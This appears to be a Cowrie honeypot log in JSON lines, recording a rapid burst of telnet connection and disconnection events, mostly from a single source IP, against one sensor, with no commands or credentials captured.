{"eventid":"cowrie.session.closed","duration":30.54584836959839,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:29.184278Z","src_ip":"23.111.140.22","session":"75293b43d70f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39194,"dst_ip":"10.17.0.5","dst_port":23,"session":"55fb4093c1fc","protocol":"telnet","message":"New connection: 23.111.140.22:39194 (10.17.0.5:23) [session: 55fb4093c1fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:29.442834Z"}
{"eventid":"cowrie.session.closed","duration":30.828725576400757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:29.457696Z","src_ip":"23.111.140.22","session":"56991777d5cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40050,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6677e1edc67","protocol":"telnet","message":"New connection: 23.111.140.22:40050 (10.17.0.5:23) [session: a6677e1edc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:29.730418Z"}
{"eventid":"cowrie.session.closed","duration":31.597272396087646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:29.793958Z","src_ip":"23.111.140.22","session":"ba09b94c6b1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.880818367004395,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.116875Z","src_ip":"23.111.140.22","session":"925725a474a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77779746055603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.157403Z","src_ip":"23.111.140.22","session":"90d4af67595d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.290944814682007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.165773Z","src_ip":"23.111.140.22","session":"cdfd15b1cd64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138631582260132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.171144Z","src_ip":"23.111.140.22","session":"b8e6aeead826","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"7332aa0d1242","protocol":"telnet","message":"New connection: 23.111.140.22:43486 (10.17.0.5:23) [session: 7332aa0d1242]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.254365Z"}
{"eventid":"cowrie.session.closed","duration":0.006184101104736328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.260412Z","src_ip":"23.111.140.22","session":"7332aa0d1242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026559352874756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.336826Z","src_ip":"23.111.140.22","session":"54096df3b6ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.408990621566772,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.451812Z","src_ip":"23.111.140.22","session":"c4122ea0d645","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91402840614319,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.462669Z","src_ip":"23.111.140.22","session":"c62014a2afce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.702861785888672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.665046Z","src_ip":"23.111.140.22","session":"f4a3e9c6aeab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.43208384513855,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.691722Z","src_ip":"23.111.140.22","session":"4b36edc6e2fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54770,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a3032a75842","protocol":"telnet","message":"New connection: 23.111.140.22:54770 (10.17.0.5:23) [session: 0a3032a75842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.772543Z"}
{"eventid":"cowrie.session.closed","duration":33.566975116729736,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:30.865773Z","src_ip":"23.111.140.22","session":"6d80bccc7f77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.294740438461304,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:31.005766Z","src_ip":"23.111.140.22","session":"1d5572fcaed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987653017044067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:31.066204Z","src_ip":"23.111.140.22","session":"fd3fa291c4e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.34222650527954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:31.116717Z","src_ip":"23.111.140.22","session":"844e8e11a5e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.197124242782593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:31.295609Z","src_ip":"23.111.140.22","session":"d4f74c3febea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.48956918716431,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:31.399235Z","src_ip":"23.111.140.22","session":"5541d45b1964","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18133234977722,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:31.851706Z","src_ip":"23.111.140.22","session":"a99d4d64b243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217483520507812,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:31.956050Z","src_ip":"23.111.140.22","session":"fa8b619dab02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.594152688980103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:32.087263Z","src_ip":"23.111.140.22","session":"01c2732d8673","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.082980155944824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:32.179417Z","src_ip":"23.111.140.22","session":"8f1b866d1dec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56244,"dst_ip":"10.17.0.5","dst_port":23,"session":"3baf1afb30fd","protocol":"telnet","message":"New connection: 23.111.140.22:56244 (10.17.0.5:23) [session: 3baf1afb30fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:32.269096Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59458,"dst_ip":"10.17.0.5","dst_port":23,"session":"64891a02b24d","protocol":"telnet","message":"New connection: 23.111.140.22:59458 (10.17.0.5:23) [session: 64891a02b24d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:32.351670Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60340,"dst_ip":"10.17.0.5","dst_port":23,"session":"b805e15c03d4","protocol":"telnet","message":"New connection: 23.111.140.22:60340 (10.17.0.5:23) [session: b805e15c03d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:32.621408Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57346,"dst_ip":"10.17.0.5","dst_port":23,"session":"40c29b993722","protocol":"telnet","message":"New connection: 23.111.140.22:57346 (10.17.0.5:23) [session: 40c29b993722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:32.634361Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54720,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b7d5b99032c","protocol":"telnet","message":"New connection: 23.111.140.22:54720 (10.17.0.5:23) [session: 7b7d5b99032c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:32.770290Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33436,"dst_ip":"10.17.0.5","dst_port":23,"session":"02fc5281df38","protocol":"telnet","message":"New connection: 23.111.140.22:33436 (10.17.0.5:23) [session: 02fc5281df38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:33.011357Z"}
{"eventid":"cowrie.session.closed","duration":31.187469482421875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:33.083109Z","src_ip":"23.111.140.22","session":"5158060a5873","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34840,"dst_ip":"10.17.0.5","dst_port":23,"session":"5564634aef5d","protocol":"telnet","message":"New connection: 23.111.140.22:34840 (10.17.0.5:23) [session: 5564634aef5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:33.489550Z"}
{"eventid":"cowrie.session.closed","duration":31.922621250152588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:33.825016Z","src_ip":"23.111.140.22","session":"d33cb2fcbf91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99599575996399,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:34.005621Z","src_ip":"23.111.140.22","session":"45dc7753ad57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56352,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ad022f3a493","protocol":"telnet","message":"New connection: 23.111.140.22:56352 (10.17.0.5:23) [session: 4ad022f3a493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:34.338877Z"}
{"eventid":"cowrie.session.closed","duration":30.582348823547363,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:34.343994Z","src_ip":"23.111.140.22","session":"1ab5c000b9a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.988868236541748,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:34.818887Z","src_ip":"23.111.140.22","session":"f3fbd595b362","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.4966254234314,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:34.824997Z","src_ip":"23.111.140.22","session":"1770fd811c7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.50892949104309,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:35.176975Z","src_ip":"23.111.140.22","session":"20ac79d86cb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40270,"dst_ip":"10.17.0.5","dst_port":23,"session":"27c359a3e90d","protocol":"telnet","message":"New connection: 23.111.140.22:40270 (10.17.0.5:23) [session: 27c359a3e90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:35.302934Z"}
{"eventid":"cowrie.session.closed","duration":32.374635219573975,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:35.451258Z","src_ip":"23.111.140.22","session":"85d08cde2dc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.382524490356445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.056558Z","src_ip":"217.182.190.44","session":"f2f19fc3179c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26608943939209,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.157296Z","src_ip":"23.111.140.22","session":"f00dde02d90d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42792,"dst_ip":"10.17.0.5","dst_port":23,"session":"bab6fe3d248a","protocol":"telnet","message":"New connection: 23.111.140.22:42792 (10.17.0.5:23) [session: bab6fe3d248a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.171046Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34148,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a1afc1739e7","protocol":"telnet","message":"New connection: 23.111.140.22:34148 (10.17.0.5:23) [session: 9a1afc1739e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.278495Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34446,"dst_ip":"10.17.0.5","dst_port":23,"session":"91e379a74a0c","protocol":"telnet","message":"New connection: 23.111.140.22:34446 (10.17.0.5:23) [session: 91e379a74a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.366758Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40474,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea950661b89d","protocol":"telnet","message":"New connection: 23.111.140.22:40474 (10.17.0.5:23) [session: ea950661b89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.382315Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34590,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba19f3634351","protocol":"telnet","message":"New connection: 23.111.140.22:34590 (10.17.0.5:23) [session: ba19f3634351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.453175Z"}
{"eventid":"cowrie.session.closed","duration":31.55325675010681,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.579606Z","src_ip":"23.111.140.22","session":"b53584b3445d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35316,"dst_ip":"10.17.0.5","dst_port":23,"session":"72dfc03b9da4","protocol":"telnet","message":"New connection: 23.111.140.22:35316 (10.17.0.5:23) [session: 72dfc03b9da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.647009Z"}
{"eventid":"cowrie.session.closed","duration":31.315853357315063,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.680100Z","src_ip":"23.111.140.22","session":"f9cdd83751d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115108013153076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:36.970894Z","src_ip":"23.111.140.22","session":"3b1e3f7721d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85151505470276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:37.037737Z","src_ip":"23.111.140.22","session":"8bd5c92f5c85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45978,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe0f40dab7d7","protocol":"telnet","message":"New connection: 23.111.140.22:45978 (10.17.0.5:23) [session: fe0f40dab7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:37.220604Z"}
{"eventid":"cowrie.session.closed","duration":35.896523237228394,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:37.372501Z","src_ip":"23.111.140.22","session":"98b7de4a013a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46554,"dst_ip":"10.17.0.5","dst_port":23,"session":"de15a90170e6","protocol":"telnet","message":"New connection: 23.111.140.22:46554 (10.17.0.5:23) [session: de15a90170e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:37.420556Z"}
{"eventid":"cowrie.session.closed","duration":30.997924327850342,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:38.149079Z","src_ip":"23.111.140.22","session":"fb157258e804","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.282469272613525,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:38.372491Z","src_ip":"23.111.140.22","session":"e1ace2353a55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46464,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fe4836186dc","protocol":"telnet","message":"New connection: 23.111.140.22:46464 (10.17.0.5:23) [session: 7fe4836186dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:38.395081Z"}
{"eventid":"cowrie.session.closed","duration":32.5066123008728,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:38.505068Z","src_ip":"23.111.140.22","session":"784901964ca5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50740,"dst_ip":"10.17.0.5","dst_port":23,"session":"58aeba5515b9","protocol":"telnet","message":"New connection: 23.111.140.22:50740 (10.17.0.5:23) [session: 58aeba5515b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:38.793211Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47848,"dst_ip":"10.17.0.5","dst_port":23,"session":"96586633a495","protocol":"telnet","message":"New connection: 23.111.140.22:47848 (10.17.0.5:23) [session: 96586633a495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:38.850224Z"}
{"eventid":"cowrie.session.closed","duration":31.46044683456421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:38.891076Z","src_ip":"23.111.140.22","session":"95c5dbd9852d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08232569694519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:38.996614Z","src_ip":"23.111.140.22","session":"e0863bade67e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.685916900634766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:39.098944Z","src_ip":"23.111.140.22","session":"fe787e6308c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51748,"dst_ip":"10.17.0.5","dst_port":23,"session":"872599423573","protocol":"telnet","message":"New connection: 23.111.140.22:51748 (10.17.0.5:23) [session: 872599423573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:39.164627Z"}
{"eventid":"cowrie.session.closed","duration":30.624699115753174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:40.061552Z","src_ip":"23.111.140.22","session":"73cf98346ebe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59668231010437,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:40.264670Z","src_ip":"23.111.140.22","session":"55f0f75d0715","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002820253372192,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:40.316028Z","src_ip":"23.111.140.22","session":"7fef59c6e9d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.60391902923584,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:40.598514Z","src_ip":"23.111.140.22","session":"b9951cd31671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.287776470184326,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:40.812501Z","src_ip":"23.111.140.22","session":"d81879f738d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57086,"dst_ip":"10.17.0.5","dst_port":23,"session":"a17821ad9428","protocol":"telnet","message":"New connection: 23.111.140.22:57086 (10.17.0.5:23) [session: a17821ad9428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:41.012607Z"}
{"eventid":"cowrie.session.closed","duration":31.01493740081787,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:41.056032Z","src_ip":"23.111.140.22","session":"f69f2303ed39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54954,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea29561bdac7","protocol":"telnet","message":"New connection: 23.111.140.22:54954 (10.17.0.5:23) [session: ea29561bdac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:41.340770Z"}
{"eventid":"cowrie.session.closed","duration":31.35523271560669,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:41.382949Z","src_ip":"23.111.140.22","session":"d8b2b402a7a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58576,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b5cfa52d11d","protocol":"telnet","message":"New connection: 23.111.140.22:58576 (10.17.0.5:23) [session: 8b5cfa52d11d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:41.557549Z"}
{"eventid":"cowrie.session.closed","duration":31.65765118598938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:41.644920Z","src_ip":"23.111.140.22","session":"38d91966e77e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56004,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d7747892a3","protocol":"telnet","message":"New connection: 23.111.140.22:56004 (10.17.0.5:23) [session: c8d7747892a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:41.731612Z"}
{"eventid":"cowrie.session.closed","duration":37.29002618789673,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:41.772177Z","src_ip":"23.111.140.22","session":"3be2ff252802","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.2728271484375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:41.874357Z","src_ip":"23.111.140.22","session":"ca6793dd28f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72278070449829,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:42.028139Z","src_ip":"23.111.140.22","session":"9222502c20a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88782262802124,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:42.596526Z","src_ip":"23.111.140.22","session":"26b564abb016","protocol":"telnet"}
